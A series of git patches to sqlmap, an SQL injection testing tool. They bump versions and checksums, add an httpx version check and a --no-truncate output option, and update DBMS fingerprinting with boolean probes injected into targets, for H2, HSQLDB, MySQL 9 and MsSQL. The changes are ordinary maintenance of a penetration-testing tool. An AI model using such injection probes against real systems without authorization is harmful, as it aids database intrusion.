changed, 10 insertions(+), 2 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 56d7cf94dc1..51794f7f82a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -f04c8a49a6c7205949d54bed4226abf8ab97361ceb4e0325fc260456a0ad412f lib/core/settings.py +75d5ce99d50b42999fcbcd05edade1e9774c383bbdeddafd2a4c91d287f610e1 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -211,7 +211,7 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py 6be5719f3c922682931779830a4571a13d5612a69e2423fd60a254e8dbceaf5c lib/request/comparison.py -7345c12a0a1d4c583766b46ba38263cbc4603a85aa4216deddd62958d4e5d596 lib/request/connect.py +b27dd003eba5ac4697b6a1d5a6712e6aca380436a5a379bd5f2e831d6dca19bd lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py 844fae318d6b3141bfc817aac7a29868497b5e7b4b3fdd7c751ad1d4a485324f lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a5793f9b22a..ab2e55161f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -835,6 +835,9 @@ # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" +# Minimum supported version of httpx library (for --http2) +MIN_HTTPX_VERSION = "0.28" + # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" diff --git a/lib/request/connect.py b/lib/request/connect.py index 0fce5106ecb..cdbbabca0d7 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -62,6 +62,7 @@ class WebSocketException(Exception): from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.common import wasLastResponseDelayed +from lib.core.compat import LooseVersion from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import encodeBase64 @@ -109,6 +110,7 @@ class WebSocketException(Exception): from lib.core.settings import JAVASCRIPT_HREF_REGEX from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import LIVE_COOKIES_TIMEOUT +from lib.core.settings import MIN_HTTPX_VERSION from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE @@ -618,6 +620,9 @@ class _(dict): except ImportError: raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) + if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): + raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) + try: proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if not "://" in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: From 29825cd5d6297cd6bd80d0ac11151330185fba80 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 1 Apr 2025 10:29:33 +0200 Subject: [PATCH 155/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- extra/shutils/precommit-hook.sh | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 51794f7f82a..bc7832a9b83 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -149,7 +149,7 @@ f3d8033f8c451ae28ca4b8f65cf2ceb77fadba21f11f19229f08398cbf523bc6 extra/shutils/ 8779e1a56165327e49bbfd6cb2a461ab18cd8a83e9bfc139c9bdfc8e44f2a23f extra/shutils/modernize.sh 74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh -dc35b51f5c9347eda8130106ee46bb051474fc0c5ed101f84abf3e546f729ceb extra/shutils/precommit-hook.sh +ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/precommit-hook.sh 1909f0d510d0968fb1a6574eec17212b59081b2d7eb97399a80ba0dc0e77ddd1 extra/shutils/pycodestyle.sh 026af5ba1055e85601dcdcb55bc9de41a6ee2b5f9265e750c878811c74dee2b0 extra/shutils/pydiatra.sh 2ce9ac90e7d37a38b9d8dcc908632575a5bafc4c75d6d14611112d0eea418369 extra/shutils/pyflakes.sh @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -75d5ce99d50b42999fcbcd05edade1e9774c383bbdeddafd2a4c91d287f610e1 lib/core/settings.py +c4bd61235ac55e76e91545f4234e92b860fce1288971ee7cb9104da9984452a1 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index f030bea0d0c..300916ae369 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -24,7 +24,7 @@ git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 if [ -f $SETTINGS_FULLPATH ] then - LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') + LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') declare -a LINE INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] diff --git a/lib/core/settings.py b/lib/core/settings.py index ab2e55161f2..2259d17e519 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.3.4" +VERSION = "1.9.4.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c8c7feebb099541e96b8b2e34938de5378a7e97c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 5 Apr 2025 14:41:45 +0200 Subject: [PATCH 156/853] Fixes #5886 --- data/txt/sha256sums.txt | 12 ++++++------ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/techniques/error/use.py | 2 +- lib/techniques/union/use.py | 2 +- sqlmap.conf | 4 ++++ 7 files changed, 17 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bc7832a9b83..e3fd740700e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,7 +180,7 @@ ec8d94fb704c0a40c88f5f283624cda025e2ea0e8b68722fe156c2b5676f53ac lib/core/dicts 93c256111dc753967169988e1289a0ea10ec77bfb8e2cbd1f6725e939bfbc235 lib/core/gui.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/core/__init__.py 53499dc202a036289e3b2b9699d19568e794d077e16fd3a5c91771983de45451 lib/core/log.py -bcb54f1813b3757fe717d7b4f3429fbcd08ff416af1100b716708955702e66d6 lib/core/optiondict.py +79c6b0332efa7cdf752f5caad6bd81a78a0369f2c33c107d9aaeaf52edc7e6e7 lib/core/optiondict.py 2f007b088aad979f75c4d864603dfc685da5be219ae116f2bb0d6445d2db4f83 lib/core/option.py 81275fdbd463d89a2bfd8c00417a17a872aad74f34c18e44be79c0503e67dfa5 lib/core/patch.py e79df3790f16f67988e46f94b0a516d7ee725967f7698c8e17f210e4052203a7 lib/core/profiling.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -c4bd61235ac55e76e91545f4234e92b860fce1288971ee7cb9104da9984452a1 lib/core/settings.py +bebff48927ffcba57f7d813819a7f6dda527e495f342133d345449a63cef0c4f lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -199,7 +199,7 @@ b1071f449a66b4ceacd4b84b33a73d9e0a3197d271d72daaa406ba473a8bb625 lib/core/testi 12cbead4e9e563b970fafb891127927445bd53bada1fac323b9cd27da551ba30 lib/core/wordlist.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/__init__.py a027f4c44811cb74aa367525f353706de3d3fc719e6c6162f7a61dc838acf0c2 lib/parse/banner.py -2838467a296a05c6c94ddef1f42f1e7cddee3a9e755143bcb70129233056abad lib/parse/cmdline.py +b157cdba54e722e97a22de35479bc9c3eeeb5658e6b5d8ff16a66776a3d520a4 lib/parse/cmdline.py 3907765df08c31f8d59350a287e826bd315a7714dc0e87496f67c8a0879c86ac lib/parse/configfile.py ced03337edd5a16b56a379c9ac47775895e1053003c25f6ba5bec721b6e3aa64 lib/parse/handler.py 3704a02dcf00b0988b101e30b2e0d48acdd20227e46d8b552e46c55d7e9bf28c lib/parse/headers.py @@ -236,11 +236,11 @@ ec77bee2f221157aff16ec518ca2f3f8359952cd0835f70dd6a5cd8d57caf5bc lib/takeover/w 1b8b4fe2088247f99b96ccab078a8bd72dc934d7bd155498eec2a77b67c55daf lib/techniques/dns/test.py 9120019b1a87e0df043e815817b8bfb9965bda6f6fa633dc667c940865bb830c lib/techniques/dns/use.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/techniques/error/__init__.py -5063c30a821da00d0935b4e6c2f668f35818c8a6c2005e2e0074f491366f7725 lib/techniques/error/use.py +219871c68e5b67238ace9a8f46de0b267f4dd70fc02786a4a44de3bb95f8695b lib/techniques/error/use.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/techniques/__init__.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/techniques/union/__init__.py 3349573564c035ef7c3dbca7da3aecde139f31621395a1a6a7d2eef1dccbb9b0 lib/techniques/union/test.py -b781403433a2ad9a18fa9b1cc291165f04f734942268b4eba004a53afe8abe49 lib/techniques/union/use.py +eb564696a2e0c8e8844c1593c77f7bb41e47ce89f213afe93cbba7f1190e91f0 lib/techniques/union/use.py c09927bccdbdb9714865c9a72d2a739da745375702a935349ddb9edc1d50de70 lib/utils/api.py 1d72a586358c5f6f0b44b48135229742d2e598d40cefbeeabcb40a1c2e0b70b2 lib/utils/brute.py dd0b67fc2bdf65a4c22a029b056698672a6409eff9a9e55da6250907e8995728 lib/utils/crawler.py @@ -476,7 +476,7 @@ b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generi 5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md 8c4fd81d84598535643cf0ef1b2d350cd92977cb55287e23993b76eaa2215c30 sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml -4037f1c78180550c1896543581c0c2423e970086bae46f175397f2b4c54b7323 sqlmap.conf +4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf f84846b8493d809d697a75b3d13d904013bbb03e0edd82b724f4753801609057 sqlmap.py 9d408612a6780f7f50a7f7887f923ff3f40be5bfa09a951c6dc273ded05b56c0 tamper/0eunion.py c1c2eaa7df016cc7786ccee0ae4f4f363b1dce139c61fb3e658937cb0d18fc54 tamper/apostrophemask.py diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ef684df4c21..8bd59e222fd 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -253,6 +253,7 @@ "disableHashing": "boolean", "listTampers": "boolean", "noLogging": "boolean", + "noTruncate": "boolean", "offline": "boolean", "purge": "boolean", "resultsFile": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 2259d17e519..94ab0b540f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.4.0" +VERSION = "1.9.4.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 30951855b17..ccb69543f31 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -775,6 +775,9 @@ def cmdLineParser(argv=None): miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", help="Disable logging to a file") + miscellaneous.add_argument("--no-truncate", dest="noTruncate", action="store_true", + help="Disable console output truncation (e.g. long entr...)") + miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index e6c38915867..1bb0b72f9bc 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -257,7 +257,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) - if len(status) > width: + if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index d36b324d084..50948027cce 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -418,7 +418,7 @@ def unionThread(): _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) - if len(status) > width: + if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) diff --git a/sqlmap.conf b/sqlmap.conf index 8c4001dc48e..d42ab803133 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -873,6 +873,10 @@ listTampers = False # Valid: True or False noLogging = False +# Disable console output truncation. +# Valid: True or False +noTruncate = False + # Work in offline mode (only use session data) # Valid: True or False offline = False From 663ab4a5441f0f781437ebc1a42631c421d9cea5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 28 Apr 2025 16:56:17 +0200 Subject: [PATCH 157/853] Minor update of fingerprinting in H2 and HSQLDB --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e3fd740700e..071c22de724 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -bebff48927ffcba57f7d813819a7f6dda527e495f342133d345449a63cef0c4f lib/core/settings.py +ca78e928cf421e0e458a2751e902596340d1f740d309850833b2e8e5f3037830 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -342,14 +342,14 @@ ac17975286d2a01f6841ad05a7ccb2332bd2c672631c70bd7f3423aa8ad1b852 plugins/dbms/f e4e5ec5ffc77fb6697da01a0a5469cc3373b287a3e1f4d40efe8295625e8f333 plugins/dbms/h2/connector.py 5b35fef7466bb0b99c6aa99c18b58e3005372bec99ce809cc068c72f87a950de plugins/dbms/h2/enumeration.py f83219407b5134e9283baa1f1741d965f650cf165dbd0bad991dc1283e947572 plugins/dbms/h2/filesystem.py -9ff278b87cf61bd301324b357ffb7ca6305f46d903ce5fd821b8d139357c1d14 plugins/dbms/h2/fingerprint.py +294308fa97bedc3d4e6b0e09f2f23d9ccceb129e83f6f26790f433d73fc874ae plugins/dbms/h2/fingerprint.py 860696c2561a5d4c6d573c50a257e039bff77ffbc5119513d77089096b051fbc plugins/dbms/h2/__init__.py 95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/h2/syntax.py 8934c4fffc67f0080970bf007d0e2f25d6a79482cc2370673833f3cbe1f9f620 plugins/dbms/h2/takeover.py 42d3fa136a67898c1908a3882baf128d15a48cd2cfe64054fa77038096e5bc0b plugins/dbms/hsqldb/connector.py 4c65b248cb0c2477ffaa9f337af698f6abc910907ef04f2b7ddc783dcc085f7a plugins/dbms/hsqldb/enumeration.py d2581e9e2833b4232fcfc720f6d6638ec2254931f0905f0e281a4022d430c0f0 plugins/dbms/hsqldb/filesystem.py -95ccbaa856cffc900e752a6e85779bf22feebab98035ba62b1ac93ac08da568e plugins/dbms/hsqldb/fingerprint.py +467eb72c43e70f34a440697ed5c9f5b78acc89d50dbb518388dbe53d22777ff3 plugins/dbms/hsqldb/fingerprint.py d175e63fd1c896a4c02e7e2b48d818108635c3b98a64a6068e1d4c814d2ce8ce plugins/dbms/hsqldb/__init__.py 95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/hsqldb/syntax.py 0aaa588c65e730320ab501b83b489db25f3f6cf20b5917bcdb9e9304df3419cb plugins/dbms/hsqldb/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 94ab0b540f4..1e0990b2bed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.4.1" +VERSION = "1.9.4.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index dc5f89b57b7..35def7dd80c 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -93,7 +93,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index b61b86bc4cc..04f0dc79ff8 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -99,7 +99,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) - result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB From c2f0ca314c133b38532e9c1037b36c966075ed6a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 7 May 2025 10:42:51 +0200 Subject: [PATCH 158/853] Minor update of fingerprint data for MySQL --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 11 +++++++++-- 3 files changed, 12 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 071c22de724..783e530e850 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -ca78e928cf421e0e458a2751e902596340d1f740d309850833b2e8e5f3037830 lib/core/settings.py +a6052d9b44717a8cb571cef68baea565551bfbd0d41578e2143b58f29f10ae53 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -399,7 +399,7 @@ f01e26e641fbfb3c3e7620c9cd87739a9a607fc66c56337ca02cc85479fb5f63 plugins/dbms/m 36e706114f64097e185372aa97420f5267f7e1ccfc03968beda899cd6e32f226 plugins/dbms/mysql/connector.py 96126e474f7c4e5581cabccff3e924c4789c8e2dbc74463ab7503ace08a88a3a plugins/dbms/mysql/enumeration.py 4c6af0e2202a080aa94be399a3d60cab97551ac42aa2bcc95581782f3cabc0c3 plugins/dbms/mysql/filesystem.py -997be63891dab617a4abc5312f187c777964c912137a344d80c25a1bafe96e9e plugins/dbms/mysql/fingerprint.py +8f74a5eef2fc69850aec6d89bd30f1caf095c6ad2b09bec54d35c152c9090c22 plugins/dbms/mysql/fingerprint.py 34dfa460e65be6f775b1d81906c97515a435f3dbadda57f5a928f7b87cefd97d plugins/dbms/mysql/__init__.py eb59dd2ce04fa676375166549b532e0a5b6cb4c1666b7b2b780446d615aefb07 plugins/dbms/mysql/syntax.py 05e1586c3a32ee8596adb48bec4588888883727b05a367a48adb6b86abea1188 plugins/dbms/mysql/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 1e0990b2bed..3ac8ad2514a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.4.2" +VERSION = "1.9.5.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index c60683f4a1f..2f2b1a6e5b0 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,9 +45,10 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( + (90200, 90202), # MySQL 9.2 (90100, 90102), # MySQL 9.1 (90000, 90002), # MySQL 9.0 - (80400, 80404), # MySQL 8.4 + (80400, 80405), # MySQL 8.4 (80300, 80302), # MySQL 8.3 (80200, 80202), # MySQL 8.2 (80100, 80102), # MySQL 8.1 @@ -207,8 +208,14 @@ def checkDbms(self): kb.data.has_information_schema = True + # Determine if it is MySQL >= 9.0.0 + if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + Backend.setVersion(">= 9.0.0") + setDbms("%s 9" % DBMS.MYSQL) + self.getBanner() + # Determine if it is MySQL >= 8.0.0 - if inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): Backend.setVersion(">= 8.0.0") setDbms("%s 8" % DBMS.MYSQL) self.getBanner() From b305a9fcbf5895879982f8d2f85093dce86841dc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 7 May 2025 10:55:49 +0200 Subject: [PATCH 159/853] Minor update of fingerprint data for MsSQL --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 5 +++-- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 783e530e850..9c81275194c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -a6052d9b44717a8cb571cef68baea565551bfbd0d41578e2143b58f29f10ae53 lib/core/settings.py +7b30a3f7aec7f349f8f69ee94f3df85325472423cf1bc7a730f61c99ccc8db1c lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -392,7 +392,7 @@ df95ffeab52ddb3bfbe846802d6a97d7ae4bafaade4bdef5c3127c4e24fa611e plugins/dbms/m e8e010d1bdc9f12df5bc3b86c0a80a80cce81a820c86a4e030bb66be8180091f plugins/dbms/mssqlserver/connector.py 32c1e51893a16b0112c0a43e8de4e57857b3c2c8952233793252ffe5dc2f59b8 plugins/dbms/mssqlserver/enumeration.py 5a3a4e9021c07bc5f79925686815c012ae411052e868430a0e6b8a108f9bbbef plugins/dbms/mssqlserver/filesystem.py -f01e26e641fbfb3c3e7620c9cd87739a9a607fc66c56337ca02cc85479fb5f63 plugins/dbms/mssqlserver/fingerprint.py +6a98adcda019eee11420606e36762146978cb8d1aecd18d14ba16bd8639f8a03 plugins/dbms/mssqlserver/fingerprint.py 639873fc2bb7152728d8657719593baa0c41cef8f8c829618ca2182d0ffe497e plugins/dbms/mssqlserver/__init__.py 